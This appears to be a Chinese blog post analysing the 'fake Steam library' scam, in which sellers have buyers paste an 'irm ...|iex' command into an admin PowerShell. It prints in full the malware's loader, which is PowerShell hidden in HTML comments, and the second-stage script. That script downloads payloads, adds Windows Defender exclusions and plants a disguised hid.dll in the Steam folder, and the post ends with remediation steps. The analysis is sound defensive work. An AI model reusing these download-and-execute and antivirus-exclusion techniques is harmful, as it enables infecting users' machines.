Skip to content

Steam 假入库代码详解分析

Published: at 10:12编辑

这段时间刷文章,发现有很多无良商家通过 Steam「假入库」的方式出售低价游戏 CDK。所谓「假入库」,指的是某些游戏在 Steam 平台上显示为已添加至玩家的游戏库中,但实际上并未真正拥有该游戏的情况。这一现象不仅影响了玩家的游戏体验,还可能让玩家的系统感染病毒,甚至让你的 Steam 账号吃红信。本文旨在深入探讨 Steam 平台「假入库」的技术实现机制,包括但不限于其背后的代码逻辑、可能的技术漏洞以及防范措施。

请注意:本文所提供的所有信息、代码示例和技术分析仅供学术研究和学习交流之用,不得用于非法目的或商业用途。

作者和发布平台不对本文中提到的任何技术细节、代码示例或分析结果的准确性、完整性、可靠性或适用性做出任何明示或暗示的保证。对于因使用本文内容而直接或间接引起的任何损失或损害,包括但不限于数据丢失、利润损失或业务中断,作者和发布平台概不承担任何法律责任。

读者在阅读和使用本文提供的信息时,应自行判断其适用性和安全性,并采取适当的安全措施。如需进行任何技术操作,请确保遵守相关法律法规,并咨询专业人士的意见。


0x01 一切都要从 Invoke-RestMethod 说起

irm,全称为 Invoke-RestMethod,是 PowerShell 中用于发送 HTTP 请求(GET、POST 等)并处理响应的首选工具。我们钻研小组通过海量案例分析与收集,发现商家大部分的话术是这样的:

  1. 按住键盘 Win + X,找到 Windows Powershell(管理员)(A)
  2. 输入 irm [数据删除]|iex 通常这里商家还会善意的提醒你使用复制粘贴,不要手打
  3. 按回车执行,等待运行完毕
  4. 在自动启动的 Steam 左下角输入发你的 CDK 完成激活

PowerShell

乍一看好像没什么问题,然而问题就出在这里。

还记得我们之前讲的什么吗?Invoke-RestMethod 通过发送 HTTP 请求从指定的 URL 获取数据。那么这段代码拆开来就是:

Invoke-RestMethod [数据删除] | iex

也就是由 PowerShell 发起请求,下载脚本通过管道符给 iex

0x02 不像好人的 Invoke-Expression

iex 在 PowerShell 中是 Invoke-Expression 的缩写,类似于 JavaScript 中的 eval(),通常用于执行一段命令。

Invoke-RestMethod [数据删除] | Invoke-Expression

从上面的代码中我们不难看出,Invoke-RestMethod 通过发送 HTTP 请求从指定的 URL 获取数据,这段数据通过管道符 | 传输给 Invoke-Expression 执行。这不就是典型的「下载一个未知脚本然后执行它」嘛!

0x03 开始分析

既然我们知道了这段命令的意思,那么出于研究的态度~~(绝对不是好奇)~~,我们自然要看看这个脚本到底执行了些什么操作。很多聪明的人(可能是你)打开浏览器就访问,发现跳转到了 Steam 官方页面(居然是真官方)。

聪明的你一定猜出来了,这是基于 User-Agent 判断的是否跳转,通过 Microsoft 的官方文档 我们可以轻松得知 PowerShell 发起请求的 User-Agent 头大概长这样(每个操作系统和平台都有细微的变化):

Mozilla/5.0 (Windows NT 10.0; Microsoft Windows 10.0.15063; en-US) PowerShell/6.0.0

通过这个头在 Apifox 中请求,可以得到一个类型为 / 的二进制(Apifox 这么说的)程序,打开来看,大概是这样的:

<#<!DOCTYPEhtml><htmlxmlns="http://www.w3.org/1999/xhtml"><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"/><metahttp-equiv="x-dns-prefetch-control"content="on"/><metahttp-equiv="X-UA-Compatible"content="IE=edge"><metaname="renderer"content="webkit"><metaname="viewport"content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no">[省略一大段]<spancla#>$headers = @{"Authorization"="Bearer fucxxxxxkuuuuuuuuuuuuuuuuuuuuuuuu"};<#{success:function(json){if(json.code!=0)#><#ss="slash">|</span><aval[省略一大段](this type is mostly video#>Invoke-WebRequest -Uri "[数据删除]/673dc44885880.pak" -OutFile a.ps1 -Headers $headers;<#3. Please read more comments and content[省略一大段]#>

借助着配色你应该不难看出,这一大段代码其实是 PowerShell 代码。虽然和我共同工作的朋友(以及云沙箱)一致认定这玩意肯定和 HTML 有关,但是别忘记了 <##> 在 PowerShell 中可是块注释,这段代码可以说是隐藏的非常好了!

提取出来代码,大概长这样:

$headers = @{"Authorization"="Bearer fucxxxxxkuuuuuuuuuuuuuuuuuuuuuuuu"};
Invoke-WebRequest -Uri "[数据删除]/673dc44885880.pak" -OutFile a.ps1 -Headers $headers;

我不清楚作者为什么会添加一个看上去很奇怪的 Authorization 头,实际测试发现带不带头都会返回数据。下面我们来详解一下这个加载器下载的数据吧!

0x04 核心代码详解

放张示意图

黑客也略懂一些艺术

以下代码的作用就是设置运行编码,清屏然后输出艺术字,这个艺术字可以在 Text to ASCII Art Generator (TAAG) 网站生成。

Clear-Host
#Requires -RunAsAdministrator
[Console]::OutputEncoding = [System.Text.Encoding]::UTF8
$ErrorActionPreference = "SilentlyContinue"

Write-Host -NoNewline "                                                                                                                               `r"
Write-Host -NoNewline "                                                        %@@@@@@@@@@@@                                                          `r"
Write-Host -NoNewline "                                                   @@@@@@@@@@@@@@@@@@@@@@                                                     `r"
Write-Host -NoNewline "                                                %@@@@@@@@@@@@@@@@@@@@@@@@@@@@                                                  `r"
Write-Host -NoNewline "                                              @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                                               `r"
Write-Host -NoNewline "                                            @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@:                                             `r"
Write-Host -NoNewline "                                          %@@@@@@@@@@@@@@@@@@@@@@@@:        %@@@@@@                                            `r"
Write-Host -NoNewline "                                         @@@@@@@@@@@@@@@@@@@@@@@@    @@@@@@@@  @@@@@                                           `r"
Write-Host -NoNewline "                                        @@@@@@@@@@@@@@@@@@@@@@@     @        @  :@@@@                                         `r"
Write-Host -NoNewline "                                       @@@@@@@@@@@@@@@@@@@@@@@     @         :@   @@@@                                        `r"
Write-Host -NoNewline "                                      @@@@@@@@@@@@@@@@@@@@@@@     @           -@   @@@@@                                        `r"
Write-Host -NoNewline "                                    @@@@@@@@@@@@@@@@@@@@@@@@     @             @   @@@@@@                                      `r"
Write-Host -NoNewline "                                    @@@@@@@@@@@@@@@@@@@@@@        @           @    @@@@@@@                                     `r"
Write-Host -NoNewline "                                    *@@@@@@@@@@@@@@@@@@@@.         @         @    @@@@@@@@                                     `r"
Write-Host -NoNewline "                                        *@@@@@@@@@@@@@@@            @@@@@@@@@    @@@@@@@@@                                     `r"
Write-Host -NoNewline "                                            +@@@@@@@@@@                         @@@@@@@@@@                                     `r"
Write-Host -NoNewline "                                                +@@                           @@@@@@@@@@@@                                     `r"
Write-Host -NoNewline "                                                     @@@@@                 @@@@@@@@@@@@@@@                                     `r"
Write-Host -NoNewline "                                                          @           @@@@@@@@@@@@@@@@@@@                                      `r"
Write-Host -NoNewline "                                      @@@                  @   @@@@@@@@@@@@@@@@@@@@@@@@%                                       `r"
Write-Host -NoNewline "                                       @@@@@@    @        @   -@@@@@@@@@@@@@@@@@@@@@@@@                                        `r"
Write-Host -NoNewline "                                       .@@@@@@    @      @    @@@@@@@@@@@@@@@@@@@@@@@@                                         `r"
Write-Host -NoNewline "                                         @@@@@@-   @@@@@@    @@@@@@@@@@@@@@@@@@@@@@@%                                          `r"
Write-Host -NoNewline "                                          @@@@@@@           @@@@@@@@@@@@@@@@@@@@@@@                                            `r"
Write-Host -NoNewline "                                            @@@@@@@@:    @@@@@@@@@@@@@@@@@@@@@@@@@                                             `r"
Write-Host -NoNewline "                                             *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                                               `r"
Write-Host -NoNewline "                                                @@@@@@@@@@@@@@@@@@@@@@@@@@@@@                                                  `r"
Write-Host -NoNewline "                                                   @@@@@@@@@@@@@@@@@@@@@@@%                                                    `r"
Write-Host -NoNewline "                                                       @@@@@@@@@@@@@@@+                                                        `r"
Write-Host -NoNewline "          _____                _____                    _____                    _____                    _____          `r"
Write-Host -NoNewline "         /\    \              /\    \                  /\    \                  /\    \                  /\    \         `r"
Write-Host -NoNewline "        /::\    \            /::\    \                /::\    \                /::\    \                /::\____\        `r"
Write-Host -NoNewline "       /::::\    \           \:::\    \              /::::\    \              /::::\    \              /::::|   |        `r"
Write-Host -NoNewline "      /::::::\    \           \:::\    \            /::::::\    \            /::::::\    \            /:::::|   |        `r"
Write-Host -NoNewline "     /:::/\:::\    \           \:::\    \          /:::/\:::\    \          /:::/\:::\    \          /::::::|   |        `r"
Write-Host -NoNewline "    /:::/__\:::\    \           \:::\    \        /:::/__\:::\    \        /:::/__\:::\    \        /:::/|::|   |        `r"
Write-Host -NoNewline "    \:::\   \:::\    \          /::::\    \      /::::\   \:::\    \      /::::\   \:::\    \      /:::/ |::|   |        `r"
Write-Host -NoNewline "  ___\:::\   \:::\    \        /::::::\    \    /::::::\   \:::\    \    /::::::\   \:::\    \    /:::/  |::|___|______  `r"
Write-Host -NoNewline " /\   \:::\   \:::\    \      /:::/\:::\    \  /:::/\:::\   \:::\    \  /:::/\:::\   \:::\    \  /:::/   |::::::::\    \ `r"
Write-Host -NoNewline "/::\   \:::\   \:::\____\    /:::/  \:::\____\/:::/__\:::\   \:::\____\/:::/  \:::\   \:::\____\/:::/    |:::::::::\____\`r"
Write-Host -NoNewline "\:::\   \:::\   \::/    /   /:::/    \::/    /\:::\   \:::\   \::/    /\::/    \:::\  /:::/    /\::/    / ~~~~~/:::/    /`r"
Write-Host -NoNewline " \:::\   \:::\   \/____/   /:::/    / \/____/  \:::\   \:::\   \/____/  \/____/ \:::\/:::/    /  \/____/      /:::/    / `r"
Write-Host -NoNewline "  \:::\   \:::\    \      /:::/    /            \:::\   \:::\    \               \::::::/    /               /:::/    /  `r"
Write-Host -NoNewline "   \:::\   \:::\____\    /:::/    /              \:::\   \:::\____\               \::::/    /               /:::/    /   `r"
Write-Host -NoNewline "    \:::\  /:::/    /    \::/    /                \:::\   \::/    /               /:::/    /               /:::/    /    `r"
Write-Host -NoNewline "     \:::\/:::/    /      \/____/                  \:::\   \/____/               /:::/    /               /:::/    /     `r"
Write-Host -NoNewline "      \::::::/    /                                 \:::\    \                  /:::/    /               /:::/    /      `r"
Write-Host -NoNewline "       \::::/    /                                   \:::\____\                /:::/    /               /:::/    /       `r"
Write-Host -NoNewline "        \::/    /                                     \::/    /                \::/    /                \::/    /        `r"
Write-Host -NoNewline "         \/____/                                       \/____/                  \/____/                  \/____/         `r"

(感觉黑客都很喜欢炫技)这段代码作用就是给你唬住,让你觉得欸这是官方的安装工具。

接下来这段就有点意思了,在我分析的几百个不同的样本中,有很多种下载的方法,这里挑几个和大家分享一下:

下载

方案一:忽视风险,直接下载!

这种方案在攻击者上传时间为 2024 年 9 月 30 日 16:16 的样本中最先发现,方法是定义一些下载地址,然后直接使用 Invoke-WebRequest 下载,可谓是非常的不安全。

$kb250Zip = "[数据删除]:8066/uploads/66fa5e6c5a024.pak"
$hidTxt = "[数据删除]:8066/uploads/66fa5e6c974ab.pak"
$appdata = "[数据删除]:8066/uploads/66fa5e6d53acc.pak"

<# 需要下载的时候.. #>

#    $ProgressPreference = 'SilentlyContinue'
    Invoke-WebRequest -Uri $kb250Zip -OutFile $savePathZip -ErrorAction Stop

方案二:蓝奏云,启动!

这种方案在攻击者上传时间为 2024 年 11 月 7 日 00:33 的样本中最先发现~~(你看他都钻研到半夜了)~~,方法是定义一个从蓝奏云下载的函数,然后使用 Invoke-WebRequest 下载,可以看到他还是非常钟爱 Invoke-WebRequest

function Get-DownloadUrl
{
    param (
        [string]$fid,
        [string]$p = $null
    )
    $baseUrl = 'https://lanzoup.com'
    $ProgressPreference = 'SilentlyContinue'
    $response = Invoke-WebRequest -Uri "$baseUrl/$fid" -Headers @{ 'User-Agent' = '' }
    $content = $response.Content
    $iframeUrl = [regex]::Match($content, '<iframe class="ifr2" .*? src="(.*?)" .*?></iframe>').Groups[1].Value
    if ($iframeUrl)
    {
        $ProgressPreference = 'SilentlyContinue'
        $response = Invoke-WebRequest -Uri "$baseUrl$iframeUrl" -Headers @{ 'User-Agent' = '' } -Method Post
        $content = $response.Content
        $sign = [regex]::Match($content, "'sign':'(.*?)',").Groups[1].Value
    }
    else
    {
        $sign = [regex]::Match($content, "var skdklds = '(.*?)';").Groups[1].Value
    }
    if (-not$sign)
    {
        return
    }
    $urlMatch = [regex]::Match($content, "url : '(.*?)',").Groups[1].Value
    if (-not$urlMatch)
    {
        return
    }
    $headers = @{
        'User-Agent' = ''
        'Referer' = $response.BaseResponse.ResponseUri.AbsoluteUri
    }
    $body = @{ 'action' = 'downprocess'; 'sign' = $sign; 'kd' = 1 }
    if ($null -ne $p)
    {
        $body['p'] = $p
    }
    $ProgressPreference = 'SilentlyContinue'
    $response = Invoke-RestMethod -Uri "$baseUrl$urlMatch" -Headers $headers -Method Post -Body $body
    if ($null -eq $response)
    {
        return
    }
    $dom = $response.dom
    if (-not$dom)
    {
        return
    }
    $downloadUrl = $response.url
    if (-not$downloadUrl)
    {
        return
    }
    return "$dom/file/$downloadUrl"
}

<# 需要下载的时候.. #>

$savePathZip = Join-Path $targetDirectory "legit"
$kb250Zip = Get-DownloadUrl -fid 'iJkeF2egaxcd'
#    $ProgressPreference = 'SilentlyContinue'
Invoke-WebRequest -Uri $kb250Zip -Headers @{ 'Accept-Language' = 'zh-CN' } -OutFile $savePathZip -ErrorAction Stop

攻击者在 2024 年 11 月 7 日 00:33 时上传了多份样本,这些样本其实并不完全使用蓝奏云进行文件分发,然而在近期(11.21)观测到的样本中,使用蓝奏云下载明显被提升为了首要下载方案!

另外不知道是作者脑子抽风还是哪里短路了,在 2024 年 11 月 7 日 00:59 的一份编号为 672ba05f10ffc 的文件中定义了两次 Get-DownloadUrl,虽然两次定义的内容不同(新的定义附在下方)。

function Get-DownloadUrl
{
    param (
        [string]$fid,
        [string]$p = $null
    )
    $baseUrl = 'https://lanzoup.com'
    $response = Invoke-WebRequest -Uri "$baseUrl/$fid" -Headers @{ 'User-Agent' = '' }
    $content = $response.Content
    $iframeUrl = [regex]::Match($content, '<iframe class="ifr2" .*? src="(.*?)" .*?></iframe>').Groups[1].Value
    if ($iframeUrl)
    {
        $response = Invoke-WebRequest -Uri "$baseUrl$iframeUrl" -Headers @{ 'User-Agent' = '' } -Method Post
        $content = $response.Content
        $sign = [regex]::Match($content, "'sign':'(.*?)',").Groups[1].Value
    }
    else
    {
        $sign = [regex]::Match($content, "var skdklds = '(.*?)';").Groups[1].Value
    }
    if (-not$sign)
    {
        return
    }
    $urlMatch = [regex]::Match($content, "url : '(.*?)',").Groups[1].Value
    if (-not$urlMatch)
    {
        return
    }
    $headers = @{
        'User-Agent' = ''
        'Referer' = $response.BaseResponse.ResponseUri.AbsoluteUri
    }
    $body = @{ 'action' = 'downprocess'; 'sign' = $sign; 'kd' = 1 }
    if ($null -ne $p)
    {
        $body['p'] = $p
    }
    $postResponse = Invoke-RestMethod -Uri "$baseUrl$urlMatch" -Headers $headers -Method Post -Body $body
    if ($null -eq $postResponse)
    {
        return
    }
    $dom = $postResponse.dom
    if (-not$dom)
    {
        return
    }
    $downloadUrl = $postResponse.url
    if (-not$downloadUrl)
    {
        return
    }
    return "$dom/file/$downloadUrl"
}

try!

接下来是一个大大的 try...catch 结构,里面大概写了这些内容:

# 定义要删除的文件路径
$filePathToDelete = "a.ps1"

# 检查文件是否存在,如果存在则删除
if (Test-Path $filePathToDelete) {
    Remove-Item -Path $filePathToDelete -Force
}

# 定义目标目录路径为 APPDATA 下的 "Stool" 文件夹
$targetDirectory = Join-Path $env:APPDATA "Stool"

# 检查目标目录是否存在,如果不存在则创建
if (-not(Test-Path $targetDirectory)) {
    New-Item -Path $targetDirectory -ItemType Directory | Out-Null
}

# 定义压缩文件的保存路径
$savePathZip = Join-Path $targetDirectory "legit"

# 如果压缩文件路径已存在,强制删除它
if (Test-Path $savePathZip) {
    Remove-Item -Path $savePathZip -Force -ErrorAction Stop
}

# 输出提示信息,为用户提供操作进度反馈
Write-Host ""
Write-Host ""
Write-Host "  [STEAM] 激活进程准备中,请稍候..."

# 定义 Steam 的注册表路径
$steamRegPath = 'HKCU:\Software\Valve\Steam'

# 获取注册表中 Steam 安装路径
$steamPath = (Get-ItemProperty -Path $steamRegPath -Name 'SteamPath').SteamPath

# 如果未能找到 Steam 路径,提示用户重新安装 Steam 并退出
if ($null -eq $steamPath) {
    Write-Host "  [STEAM] Steam 可能没有正确安装,请重新安装 Steam 后再试" -ForegroundColor Red
    exit
}

# 获取 Steam 的可执行文件路径
$exePath = (Get-ItemProperty -Path $steamRegPath -Name 'SteamExe').SteamExe

# 获取 Steam 的进程 ID
$exePid = (Get-ItemProperty -Path ($steamRegPath + "\ActiveProcess") -Name 'pid').pid

# 如果 Steam 进程 ID 存在,尝试结束该进程
if ($null -ne $exePid) {
    Stop-Process -Id $exePid -ErrorAction SilentlyContinue
}

# 定义 Steamtools 注册表路径
$registryPath = "HKCU:\Software\Valve\Steamtools"

# 如果 Steamtools 注册表项不存在,则创建该项
if (-not(Test-Path $registryPath)) {
    New-Item -Path $registryPath -Force | Out-Null
}

# 设置 Steamtools 注册表项中的 "packageinfo" 属性为空值
Set-ItemProperty -Path $registryPath -Name "packageinfo" -Value "" | Out-Null

# 获取当前运行的与 Steam 相关的进程(排除名字包含 "steam++" 的进程)
$runningProcess = Get-Process | Where-Object { $_.ProcessName -imatch "^steam" -and $_.ProcessName -notmatch "^steam\+\+" }

# 逐个终止这些进程
$runningProcess | ForEach-Object {
    Stop-Process $_ -Force
}

# 检查当前用户是否为管理员用户组的一员
if (-not$( [bool]([Security.Principal.WindowsIdentity]::GetCurrent().Groups -match 'S-1-5-32-544') )) {
    Write-Host "  [STEAM] 请使用管理员模式运行" -ForegroundColor Red
}

# 等待 Steam 相关进程完全退出
$waitTimes = 10
while (Get-Process | Where-Object { $_.ProcessName -imatch "^steam" -and $_.ProcessName -notmatch "^steam\+\+" }) {
    Start-Sleep -Seconds 1  # 每次等待 1 秒
    $waitTimes--            # 减少等待次数计数
    if ($waitTimes -lt 0) { # 如果等待时间超时,退出循环
        break
    }
}

继续,接下来才是重头戏:

# 设置 PowerShell 的进度显示模式为静默模式(不显示下载进度)
$ProgressPreference = 'SilentlyContinue'

# 使用 Invoke-WebRequest 下载一个 zip 文件到指定路径,若失败则触发错误处理
Invoke-WebRequest -Uri $kb250Zip -OutFile $savePathZip -ErrorAction Stop

# 定义一个日志文件的保存路径
$savePathTxt = Join-Path $targetDirectory "winhttp-log.txt"

# 检查名为 "windefend" 的服务(Windows Defender 是否运行中)
if (Get-Service | where-object { $_.name -eq "windefend" -and $_.status -eq "running" }) {
    # 如果 Windows Defender 正在运行,则为 Steam 目录和目标目录设置排除规则
    Add-MpPreference -ExclusionPath $steamPath -ExclusionExtension 'exe', 'dll'
    Add-MpPreference -ExclusionPath $targetDirectory -ExclusionExtension 'exe', 'dll'
    # 输出提示信息,表示环境安全
    Write-Host -NoNewline "  [STEAM] 已通过 Windows Defender 检测,环境安全"
    Write-Host "[√]" -ForegroundColor Green
} else {
    # 如果 Windows Defender 没有运行,直接输出提示信息
    Write-Host -NoNewline "  [STEAM] 已通过 Windows Defender 检测,环境安全"
    Write-Host "[√]" -ForegroundColor Green
}

# 定义一个 VDF 文件(可能是 Steam 配置文件)的保存路径
$savePathVdf = Join-Path $localPath "appdata.vdf"

# 检查目标路径下是否存在 appdata.vdf 文件,如果存在则删除
if (Test-Path $savePathVdf) {
    Remove-Item -Path $savePathVdf -Force -ErrorAction Stop
}

# 再次设置进度显示为静默模式(不显示下载进度)
$ProgressPreference = 'SilentlyContinue'

# 使用 Invoke-WebRequest 下载一个文件到 VDF 文件路径,若失败则触发错误处理
Invoke-WebRequest -Uri $appdata -OutFile $savePathVdf -ErrorAction Stop

# 再次设置进度显示为静默模式(不显示下载进度)
$ProgressPreference = 'SilentlyContinue'

# 使用 Invoke-WebRequest 下载一个「日志文件」到指定路径,若失败则触发错误处理
Invoke-WebRequest -Uri $hidTxt -OutFile $savePathTxt -ErrorAction Stop

# 定义一个包含需要清理文件名的数组
foreach ($file in @("steam.cfg", "version.dll", "user32.dll")) {
    # 将文件名与 Steam 安装路径结合,构成完整路径
    $filePath = Join-Path $steamPath $file

    # 检查文件是否存在,如果存在则强制删除
    if (Test-Path $filePath) {
        Remove-Item $filePath -Force
    }
}

# 将下载的日志文件重命名并移动到 Steam 安装路径下,命名为 "hid.log"
$steamTxt = Join-Path $steamPath "hid.log"
Move-Item -Path $savePathTxt -Destination $steamTxt -Force -ErrorAction Stop

# 检查日志文件是否仍在原路径,若存在则删除(避免重复文件)
if (Test-Path $savePathTxt) {
    Remove-Item $savePathTxt -Force
}

# 修改日志文件扩展名,将 "hid.log" 改为 ".dll"
$d_path = [System.IO.Path]::ChangeExtension($steamTxt, ".dll")

# 如果目标路径下已存在 ".dll" 文件,先删除以避免冲突
if (Test-Path $d_path) {
    Remove-Item $d_path -Force -ErrorAction Stop
}

# 将 "hid.log" 文件重命名为 ".dll"
Rename-Item -Path $steamTxt -NewName $d_path -Force -ErrorAction Stop

# 检查 Steam 可执行文件路径是否存在,若不存在则尝试重新定义路径为 "steam.exe"
if (-not(Test-Path $exePath)) {
    $exePath = Join-Path $steamPath "steam.exe"
}

# 如果 Steam 可执行文件存在,调用 Steam 的激活命令
if (Test-Path $exePath) {
    Invoke-Expression -Command "start steam://open/activateproduct"
} else {
    # 如果 Steam 可执行文件不存在,提示错误并退出脚本
    Write-Host "  [STEAM] 主进程 $exePath 丢失,安装失败"
    exit
}

# 提示用户激活过程已准备好,并等待 Steam 打开
Write-Host "  [STEAM] 激活进程准备就绪,Steam 打开中,请稍候..."

# 倒计时 10 秒,提示用户窗口即将关闭
for ($i = 9; $i -ge 0; $i--) {
    Write-Host "`r  [STEAM] 本窗口将在 $i 秒后关闭..." -NoNewline
    Start-Sleep -Seconds 1
}

# 获取当前脚本所在的进程实例
$instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$PID'"

# 追踪当前进程的父进程,直到找到非 PowerShell 或终端进程
while ($null -ne $instance -and -not($instance.ProcessName -ne "powershell.exe" -and $instance.ProcessName -ne "WindowsTerminal.exe")) {
    $parentProcessId = $instance.ProcessId  # 保存当前进程的 ID
    $instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$( $instance.ParentProcessId )'"  # 跟踪父进程
}

# 如果找到了父进程,尝试强制终止它
if ($null -ne $parentProcessId) {
    Stop-Process -Id $parentProcessId -Force -ErrorAction SilentlyContinue
}

# 退出脚本
exit

这段脚本做了这些事情:

  1. 初始化和环境清理

    • 删除旧的脚本文件(a.ps1),确保无残留文件,避免被追查。
    • 检查或创建工作目录(APPDATA\Stool)。
    • 删除工作目录下的旧文件(如 legitappdata.vdf)。
  2. 资源文件下载

    • 下载一个压缩文件并保存为 legit
    • 下载一个配置文件并保存为 appdata.vdf
    • 下载日志文件并保存为 winhttp-log.txt
  3. Windows Defender 检测与排除设置

    • 检测 Windows Defender 服务是否运行。
    • 如果运行中,设置以下路径为 Defender 的排除项:
      • Steam 安装路径(排除 .exe.dll 文件)。
      • 工作目录(排除 .exe.dll 文件)。
    • 输出提示信息,告知用户环境已通过安全检测。
  4. 日志文件重命名与处理

    • 将下载的日志文件(winhttp-log.txt)移动到 Steam 路径下,命名为 hid.log
    • 将日志文件扩展名改为 .dll,以与动态链接库文件兼容。
    • 删除可能存在的旧 .dll 文件,避免冲突。
  5. Steam 环境检测与激活

    • 从注册表中获取 Steam 的安装路径和执行文件路径:
      • 如果路径缺失,尝试重新定义路径为 steam.exe
    • 检查 Steam 主程序(steam.exe)是否存在:
      • 若存在,调用 steam://open/activateproduct 激活窗口。
      • 若不存在,提示错误并退出脚本。
  6. 相关文件和进程清理

    • 删除 Steam 目录中的旧文件(如 steam.cfgversion.dlluser32.dll)。
    • 终止所有正在运行的 Steam 相关进程(排除 steam++)。
    • 等待 Steam 进程完全退出。
  7. 脚本运行和父进程管理

    • 提供 10 秒倒计时提示用户窗口即将关闭。
    • 追踪当前脚本的父进程链,找到脚本启动的原始进程。
    • 如果找到非 PowerShell 或终端的父进程,尝试强制终止它。
  8. 脚本退出

    • 确保所有操作完成后调用 exit,清理运行环境并退出。

catch!

catch
{
    Write-Host "发生错误:$( $_.Exception.Message )"
}

如果任何一项遇到报错,则输出错误然后退出。

0x05 DLL 分析

(有时间记得补上 @WolfYangFan)

0x06 补救措施

根据脚本的代码,我们可以得出以下补救措施:

  1. 立即使用任务管理器终止 Steam 进程
  2. 卸载 Steam 并移除目录下的 hid.dll
  3. 执行以下代码或手动移除 (Remove-MpPreference) 信任项
$steamPath = (Get-ItemProperty -Path 'HKCU:\Software\Valve\Steam' -Name 'SteamPath').SteamPath
$targetDirectory = Join-Path $env:APPDATA "Stool"
Remove-MpPreference -ExclusionPath $steamPath -ExclusionExtension 'exe', 'dll'
Remove-MpPreference -ExclusionPath $targetDirectory -ExclusionExtension 'exe', 'dll'
  1. 全盘查杀,随后重装 Steam
  2. 确认 Get-ExecutionPolicy 的结果为 Restricted,加入了开发者计划的可能为 RemoteSigned,如果不是请 Set-ExecutionPolicy(部分人说需要 Set-ExecutionPolicy -ExecutionPolicy Restricted -Scope CurrentUser)。详细信息

Microsoft 宣称 Set-ExecutionPolicy 的默认范围是 LocalMachine,这会影响使用该计算机的每个人。

0x08 结语

本篇内容就到这里啦,有什么不懂的欢迎留言。


下一篇
从实践中学习:我的云服务器管理策略

评论加载中.. 如无法加载请刷新页面